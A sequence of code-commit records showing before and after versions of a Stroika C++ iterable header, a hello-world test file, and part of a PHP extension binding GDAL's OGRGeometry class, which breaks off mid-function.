this->_FindFirstThat (doToElement);\n }\n#define qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding 1\n#if qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding\n template <typename T>\n size_t IterableFromIterator<T, void, void>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T>\n bool IterableFromIterator<T, void, void>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (); not i.Done ();) {\n return false;\n }\n return true;\n }\n template <typename T>\n void IterableFromIterator<T, void, void>::_Rep::Apply (const function<void (ArgByValueType<value_type> item)>& doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T>\n Iterator<T> IterableFromIterator<T, void, void>::_Rep::FindFirstThat (const function<bool (ArgByValueType<value_type> item)>& doToElement) const\n {\n return this->_FindFirstThat (doToElement);\n }\n#endif\n\n \/*\n ********************************************************************************\n **************************** MakeIterableFromIterator **************************\n ********************************************************************************\n *\/\n template <typename T>\n Iterable<T> MakeIterableFromIterator (const Iterator<T>& iterator)\n {\n struct MyIterable_ : public Iterable<T> {\n struct Rep : public IterableFromIterator<T>::_Rep, public Memory::UseBlockAllocationIfAppropriate<Rep> {\n using _IterableRepSharedPtr = typename Iterable<T>::_IterableRepSharedPtr;\n Iterator<T> fOriginalIterator;\n#if qDebug\n mutable Private_::IteratorTracker<T> fIteratorTracker_{};\n#endif\n Rep (const Iterator<T>& originalIterator)\n : fOriginalIterator{originalIterator}\n {\n }\n virtual Iterator<T> MakeIterator () const override\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (fOriginalIterator);\n#else\n return fOriginalIterator;\n#endif\n }\n virtual _IterableRepSharedPtr Clone () const override\n {\n return Iterable<T>::template MakeSmartPtr<Rep> (*this);\n }\n };\n MyIterable_ (const Iterator<T>& originalIterator)\n : Iterable<T>{Iterable<T>::template MakeSmartPtr<Rep> (originalIterator)}\n {\n }\n };\n return MyIterable_{iterator};\n }\n\n}\n\n#endif \/* _Stroika_Foundation_Traversal_IterableFromIterator_inl_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n#define _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"DelegatedIterator.h\"\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n#if qDebug\n namespace Private_ {\n template <typename T>\n IteratorTracker<T>::~IteratorTracker ()\n {\n Assert (*fCountRunning == 0);\n }\n template <typename T>\n Iterator<T> IteratorTracker<T>::MakeDelegatedIterator (const Iterator<T>& sourceIterator)\n {\n return DelegatedIterator<T, shared_ptr<unsigned int>> (sourceIterator, fCountRunning);\n }\n }\n#endif\n\n \/*\n ********************************************************************************\n * IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep *\n ********************************************************************************\n *\/\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n inline IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::_Rep (const CONTEXT_FOR_EACH_ITERATOR& contextForEachIterator)\n : _fContextForEachIterator (contextForEachIterator)\n#if qDebug\n , fIteratorTracker_ ()\n#endif\n {\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::MakeIterator ([[maybe_unused]]IteratorOwnerID suggestedOwner) const\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (Iterator<T>{Iterator<T>::template MakeSharedPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)});\n#else\n return Iterator<T>{Iterator<T>::template MakeSharedPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)};\n#endif\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n size_t IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n bool IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n return false;\n }\n return true;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n void IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::Apply (_APPLY_ARGTYPE doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::FindFirstThat (_APPLYUNTIL_ARGTYPE doToElement, IteratorOwnerID suggestedOwner) const\n {\n return this->_FindFirstThat (doToElement, suggestedOwner);\n }\n#define qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding 1\n#if qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding\n template <typename T>\n size_t IterableFromIterator<T, void, void>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T>\n bool IterableFromIterator<T, void, void>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (this); not i.Done ();) {\n return false;\n }\n return true;\n }\n template <typename T>\n void IterableFromIterator<T, void, void>::_Rep::Apply (_APPLY_ARGTYPE doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T>\n Iterator<T> IterableFromIterator<T, void, void>::_Rep::FindFirstThat (_APPLYUNTIL_ARGTYPE doToElement, IteratorOwnerID suggestedOwner) const\n {\n return this->_FindFirstThat (doToElement, suggestedOwner);\n }\n#endif\n\n \/*\n ********************************************************************************\n **************************** MakeIterableFromIterator **************************\n ********************************************************************************\n *\/\n template <typename T>\n Iterable<T> MakeIterableFromIterator (const Iterator<T>& iterator)\n {\n struct MyIterable_ : public Iterable<T> {\n struct Rep : public IterableFromIterator<T>::_Rep {\n using _IterableRepSharedPtr = typename Iterable<T>::_IterableRepSharedPtr;\n DECLARE_USE_BLOCK_ALLOCATION (Rep);\n Iterator<T> fOriginalIterator;\n#if qDebug\n mutable Private_::IteratorTracker<T> fIteratorTracker_{};\n#endif\n Rep (const Iterator<T>& originalIterator)\n : fOriginalIterator (originalIterator)\n {\n }\n virtual Iterator<T> MakeIterator ([[maybe_unused]] IteratorOwnerID suggestedOwner) const override\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (fOriginalIterator);\n#else\n return fOriginalIterator;\n#endif\n }\n virtual _IterableRepSharedPtr Clone (IteratorOwnerID forIterableEnvelope) const override\n {\n return Iterable<T>::template MakeSharedPtr<Rep> (*this);\n }\n };\n MyIterable_ (const Iterator<T>& originalIterator)\n : Iterable<T> (Iterable<T>::template MakeSharedPtr<Rep> (originalIterator))\n {\n }\n };\n return MyIterable_ (iterator);\n }\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_IterableFromIterator_inl_ *\/\n<commit_msg>Lots of compiler (msvc level 4) warning cleanups: [[maybe_unused]] use<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2018. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n#define _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"DelegatedIterator.h\"\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n#if qDebug\n namespace Private_ {\n template <typename T>\n IteratorTracker<T>::~IteratorTracker ()\n {\n Assert (*fCountRunning == 0);\n }\n template <typename T>\n Iterator<T> IteratorTracker<T>::MakeDelegatedIterator (const Iterator<T>& sourceIterator)\n {\n return DelegatedIterator<T, shared_ptr<unsigned int>> (sourceIterator, fCountRunning);\n }\n }\n#endif\n\n \/*\n ********************************************************************************\n * IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep *\n ********************************************************************************\n *\/\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n inline IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::_Rep (const CONTEXT_FOR_EACH_ITERATOR& contextForEachIterator)\n : _fContextForEachIterator (contextForEachIterator)\n#if qDebug\n , fIteratorTracker_ ()\n#endif\n {\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::MakeIterator ([[maybe_unused]] IteratorOwnerID suggestedOwner) const\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (Iterator<T>{Iterator<T>::template MakeSharedPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)});\n#else\n return Iterator<T>{Iterator<T>::template MakeSharedPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)};\n#endif\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n size_t IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n bool IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n return false;\n }\n return true;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n void IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::Apply (_APPLY_ARGTYPE doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::FindFirstThat (_APPLYUNTIL_ARGTYPE doToElement, IteratorOwnerID suggestedOwner) const\n {\n return this->_FindFirstThat (doToElement, suggestedOwner);\n }\n#define qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding 1\n#if qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding\n template <typename T>\n size_t IterableFromIterator<T, void, void>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (this); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T>\n bool IterableFromIterator<T, void, void>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (this); not i.Done ();) {\n return false;\n }\n return true;\n }\n template <typename T>\n void IterableFromIterator<T, void, void>::_Rep::Apply (_APPLY_ARGTYPE doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T>\n Iterator<T> IterableFromIterator<T, void, void>::_Rep::FindFirstThat (_APPLYUNTIL_ARGTYPE doToElement, IteratorOwnerID suggestedOwner) const\n {\n return this->_FindFirstThat (doToElement, suggestedOwner);\n }\n#endif\n\n \/*\n ********************************************************************************\n **************************** MakeIterableFromIterator **************************\n ********************************************************************************\n *\/\n template <typename T>\n Iterable<T> MakeIterableFromIterator (const Iterator<T>& iterator)\n {\n struct MyIterable_ : public Iterable<T> {\n struct Rep : public IterableFromIterator<T>::_Rep {\n using _IterableRepSharedPtr = typename Iterable<T>::_IterableRepSharedPtr;\n DECLARE_USE_BLOCK_ALLOCATION (Rep);\n Iterator<T> fOriginalIterator;\n#if qDebug\n mutable Private_::IteratorTracker<T> fIteratorTracker_{};\n#endif\n Rep (const Iterator<T>& originalIterator)\n : fOriginalIterator (originalIterator)\n {\n }\n virtual Iterator<T> MakeIterator ([[maybe_unused]] IteratorOwnerID suggestedOwner) const override\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (fOriginalIterator);\n#else\n return fOriginalIterator;\n#endif\n }\n virtual _IterableRepSharedPtr Clone (IteratorOwnerID forIterableEnvelope) const override\n {\n return Iterable<T>::template MakeSharedPtr<Rep> (*this);\n }\n };\n MyIterable_ (const Iterator<T>& originalIterator)\n : Iterable<T> (Iterable<T>::template MakeSharedPtr<Rep> (originalIterator))\n {\n }\n };\n return MyIterable_ (iterator);\n }\n }\n }\n}\n#endif \/* _Stroika_Foundation_Traversal_IterableFromIterator_inl_ *\/\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Updated SimpleMaterial::isReadyForSubMesh function to pass material context<commit_after><|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright (c) 2014 Jamis Hoo \n * Distributed under the MIT license \n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n * \n * Project: \n * Filename: test.cc \n * Version: 1.0\n * Author: Jamis Hoo\n * E-mail: hjm211324@gmail.com\n * Date: Dec. 29, 2014\n * Time: 11:10:09\n * Description: \n *****************************************************************************\/\n#include <iostream>\n\nint main() {\n std::cout << \"Hello world!\" << std::endl;\n\n}\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n<commit_msg>--allow-empty_message<commit_after>\/******************************************************************************\n * Copyright (c) 2014 Jamis Hoo \n * Distributed under the MIT license \n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n * \n * Project: \n * Filename: test.cc \n * Version: 1.0\n * Author: Jamis Hoo\n * E-mail: hjm211324@gmail.com\n * Date: Dec. 29, 2014\n * Time: 11:10:09\n * Description: \n *****************************************************************************\/\n#include <iostream>\n\nint main() {\n std::cout << \"Hello world!\" << std::endl;\n\n}\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n<|endoftext|>"} {"text":"<commit_before>#include \"php.h\"\n#include \"php_gdal.h\"\n#include <ogr_core.h>\n#include <cpl_conv.h>\n#include <cpl_string.h>\n#include \"ogrexception.h\"\n#include \"ogrspatialreference.h\"\n#include \"ogrgeometry.h\"\n\nzend_class_entry *gdal_ogrgeometry_ce;\nzend_object_handlers ogrgeometry_object_handlers;\n\n\nvoid ogrgeometry_free_storage(void *object TSRMLS_DC)\n{\n php_ogrgeometry_object *obj = (php_ogrgeometry_object *)object;\n \/\/delete obj->geometry; \/\/ TODO\n zend_hash_destroy(obj->std.properties);\n FREE_HASHTABLE(obj->std.properties);\n efree(obj);\n}\n\n\nzend_object_value ogrgeometry_create_handler(zend_class_entry *type TSRMLS_DC)\n{\n zval *tmp;\n zend_object_value retval;\n\n php_ogrgeometry_object *obj =\n (php_ogrgeometry_object *)emalloc(sizeof(php_ogrgeometry_object));\n memset(obj, 0, sizeof(php_ogrgeometry_object));\n obj->std.ce = type;\n\n ALLOC_HASHTABLE(obj->std.properties);\n zend_hash_init(obj->std.properties, 0, NULL, ZVAL_PTR_DTOR, 0);\n#if PHP_VERSION_ID < 50399\n zend_hash_copy(obj->std.properties, &type->default_properties,\n (copy_ctor_func_t)zval_add_ref, (void *)&tmp, sizeof(zval *));\n#else\n object_properties_init(&obj->std, type);\n#endif\n\n retval.handle = zend_objects_store_put(obj, NULL,\n ogrgeometry_free_storage, NULL TSRMLS_CC);\n retval.handlers = &ogrgeometry_object_handlers;\n\n return retval;\n}\n\n\nPHP_METHOD(OGRGeometry, IsValid)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_BOOL(geometry->IsValid());\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToWkt)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *ppszDstText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n if (geometry->exportToWkt(&ppszDstText) != OGRERR_NONE) {\n php_gdal_ogr_throw(\"Failed to convert geometry to WKT\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(ppszDstText);\n OGRFree(ppszDstText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToWkb)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n int wkbSize;\n char * buffer;\n int wkbByteOrder = wkbNDR; \/\/ use as default when no byteOrder is specified\n\n if (ZEND_NUM_ARGS() != 0) {\n if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, (char*)\"l\",\n &wkbByteOrder) == FAILURE) {\n php_gdal_ogr_throw(\"Illegal value for byteOrder\");\n RETURN_EMPTY_STRING();\n }\n }\n\n if ((wkbByteOrder) != wkbNDR && (wkbByteOrder != wkbXDR)) {\n php_gdal_ogr_throw(\"Illegal value for byteOrder. Has to be either wkbNDR or wkbXDR\");\n RETURN_EMPTY_STRING();\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n wkbSize = geometry->WkbSize();\n buffer = (char*)ecalloc(sizeof(char), wkbSize+1);\n\n if (geometry->exportToWkb(wkbNDR, (unsigned char*)buffer) != OGRERR_NONE) {\n php_gdal_ogr_throw(\"Failed to convert geometry to WKB\");\n RETURN_EMPTY_STRING();\n }\n\n RETURN_STRINGL(buffer, wkbSize+1, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToJson)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *jsonText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n jsonText = geometry->exportToJson();\n if (jsonText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to JSON\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(jsonText);\n CPLFree(jsonText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToKML)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *kmlText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n kmlText = geometry->exportToKML();\n if (kmlText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to KML\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(kmlText);\n CPLFree(kmlText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToGML)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *gmlText;\n char *ret;\n char *gmlOptions = NULL;\n int gmlOptionsLen;\n char **papszOptions = NULL;\n\n if (ZEND_NUM_ARGS() != 0) {\n if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, (char*)\"s\", &gmlOptions, &gmlOptionsLen) == FAILURE) {\n php_gdal_ogr_throw(\"Illegal value for GML format options\");\n RETURN_EMPTY_STRING();\n }\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n#if ! ((GDAL_VERSION_MAJOR <= 1) && (GDAL_VERSION_MINOR < 8))\n if (gmlOptionsLen != 0) {\n papszOptions = CSLAddString(papszOptions, gmlOptions);\n } \n\n gmlText = geometry->exportToGML(papszOptions);\n#else\n gmlText = geometry->exportToGML();\n#endif\n\n#if ! ((GDAL_VERSION_MAJOR <= 1) && (GDAL_VERSION_MINOR < 8))\n if (papszOptions) {\n CSLDestroy(papszOptions);\n }\n#endif\n\n if (gmlText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to GML\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(gmlText);\n CPLFree(gmlText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, GetGeometryName)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *ret;\n const char *geomName;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n geomName = geometry->getGeometryName();\n ret = estrdup(geomName);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, GetGeometryType)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_LONG(geometry->getGeometryType());\n}\n\n\nPHP_METHOD(OGRGeometry, IsEmpty)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_BOOL(geometry->IsEmpty());\n}\n\n\nPHP_METHOD(OGRGeometry, GetSpatialReference)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n OGRSpatialReference *spatialreference;\n php_ogrspatialreference_object *spatialreference_obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n WRONG_PARAM_COUNT;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n spatialreference = geometry->getSpatialReference();\n if (!spatialreference) {\n RETURN_NULL();\n }\n if (object_init_ex(return_value, gdal_ogrspatialreference_ce) != SUCCESS) {\n RETURN_NULL();\n }\n spatialreference_obj = (php_ogrspatialreference_object*) zend_objects_get_address(return_value TSRMLS_CC);\n spatialreference_obj->spatialreference = spatialreference;\n}\n\n\n\nzend_function_entry ogrgeometry_methods[] = {\n PHP_ME(OGRGeometry, IsValid, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToWkt, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToWkb, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToJson, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToKML, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, ExportToGML, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetGeometryName, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetGeometryType, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, IsEmpty, NULL, ZEND_ACC_PUBLIC)\n PHP_ME(OGRGeometry, GetSpatialReference, NULL, ZEND_ACC_PUBLIC)\n {NULL, NULL, NULL}\n};\n\n\nvoid php_gdal_ogrgeometry_startup(INIT_FUNC_ARGS)\n{\n zend_class_entry ce;\n INIT_CLASS_ENTRY(ce, \"OGRGeometry\", ogrgeometry_methods);\n gdal_ogrgeometry_ce = zend_register_internal_class(&ce TSRMLS_CC);\n gdal_ogrgeometry_ce->create_object = ogrgeometry_create_handler;\n memcpy(&ogrgeometry_object_handlers,\n zend_get_std_object_handlers(), sizeof(zend_object_handlers));\n ogrgeometry_object_handlers.clone_obj = NULL;\n}\n\n\n\/* VIM settings *\/\n\/* ex: set tabstop=2 expandtab shiftwidth=2 smartindent *\/\n<commit_msg>comment on pointer ownership for geometry pointer<commit_after>#include \"php.h\"\n#include \"php_gdal.h\"\n#include <ogr_core.h>\n#include <cpl_conv.h>\n#include <cpl_string.h>\n#include \"ogrexception.h\"\n#include \"ogrspatialreference.h\"\n#include \"ogrgeometry.h\"\n\nzend_class_entry *gdal_ogrgeometry_ce;\nzend_object_handlers ogrgeometry_object_handlers;\n\n\nvoid ogrgeometry_free_storage(void *object TSRMLS_DC)\n{\n php_ogrgeometry_object *obj = (php_ogrgeometry_object *)object;\n delete obj->geometry; \/\/ currently all pointers here are only references which\n \/\/ should not be modified\n zend_hash_destroy(obj->std.properties);\n FREE_HASHTABLE(obj->std.properties);\n efree(obj);\n}\n\n\nzend_object_value ogrgeometry_create_handler(zend_class_entry *type TSRMLS_DC)\n{\n zval *tmp;\n zend_object_value retval;\n\n php_ogrgeometry_object *obj =\n (php_ogrgeometry_object *)emalloc(sizeof(php_ogrgeometry_object));\n memset(obj, 0, sizeof(php_ogrgeometry_object));\n obj->std.ce = type;\n\n ALLOC_HASHTABLE(obj->std.properties);\n zend_hash_init(obj->std.properties, 0, NULL, ZVAL_PTR_DTOR, 0);\n#if PHP_VERSION_ID < 50399\n zend_hash_copy(obj->std.properties, &type->default_properties,\n (copy_ctor_func_t)zval_add_ref, (void *)&tmp, sizeof(zval *));\n#else\n object_properties_init(&obj->std, type);\n#endif\n\n retval.handle = zend_objects_store_put(obj, NULL,\n ogrgeometry_free_storage, NULL TSRMLS_CC);\n retval.handlers = &ogrgeometry_object_handlers;\n\n return retval;\n}\n\n\nPHP_METHOD(OGRGeometry, IsValid)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n RETURN_BOOL(geometry->IsValid());\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToWkt)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *ppszDstText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n if (geometry->exportToWkt(&ppszDstText) != OGRERR_NONE) {\n php_gdal_ogr_throw(\"Failed to convert geometry to WKT\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(ppszDstText);\n OGRFree(ppszDstText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToWkb)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n int wkbSize;\n char * buffer;\n int wkbByteOrder = wkbNDR; \/\/ use as default when no byteOrder is specified\n\n if (ZEND_NUM_ARGS() != 0) {\n if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, (char*)\"l\",\n &wkbByteOrder) == FAILURE) {\n php_gdal_ogr_throw(\"Illegal value for byteOrder\");\n RETURN_EMPTY_STRING();\n }\n }\n\n if ((wkbByteOrder) != wkbNDR && (wkbByteOrder != wkbXDR)) {\n php_gdal_ogr_throw(\"Illegal value for byteOrder. Has to be either wkbNDR or wkbXDR\");\n RETURN_EMPTY_STRING();\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n wkbSize = geometry->WkbSize();\n buffer = (char*)ecalloc(sizeof(char), wkbSize+1);\n\n if (geometry->exportToWkb(wkbNDR, (unsigned char*)buffer) != OGRERR_NONE) {\n php_gdal_ogr_throw(\"Failed to convert geometry to WKB\");\n RETURN_EMPTY_STRING();\n }\n\n RETURN_STRINGL(buffer, wkbSize+1, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToJson)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *jsonText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n jsonText = geometry->exportToJson();\n if (jsonText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to JSON\");\n RETURN_EMPTY_STRING();\n }\n\n ret = estrdup(jsonText);\n CPLFree(jsonText);\n RETURN_STRING(ret, 0);\n}\n\n\nPHP_METHOD(OGRGeometry, ExportToKML)\n{\n OGRGeometry *geometry;\n php_ogrgeometry_object *obj;\n char *kmlText;\n char *ret;\n\n if (ZEND_NUM_ARGS() != 0) {\n return;\n }\n\n obj = (php_ogrgeometry_object *) zend_object_store_get_object(getThis() TSRMLS_CC);\n geometry = obj->geometry;\n\n kmlText = geometry->exportToKML();\n if (kmlText == NULL) {\n php_gdal_ogr_throw(\"Failed to convert geometry to KML\");\n RETURN_EMPTY_STRING();\n }\n\n ret = 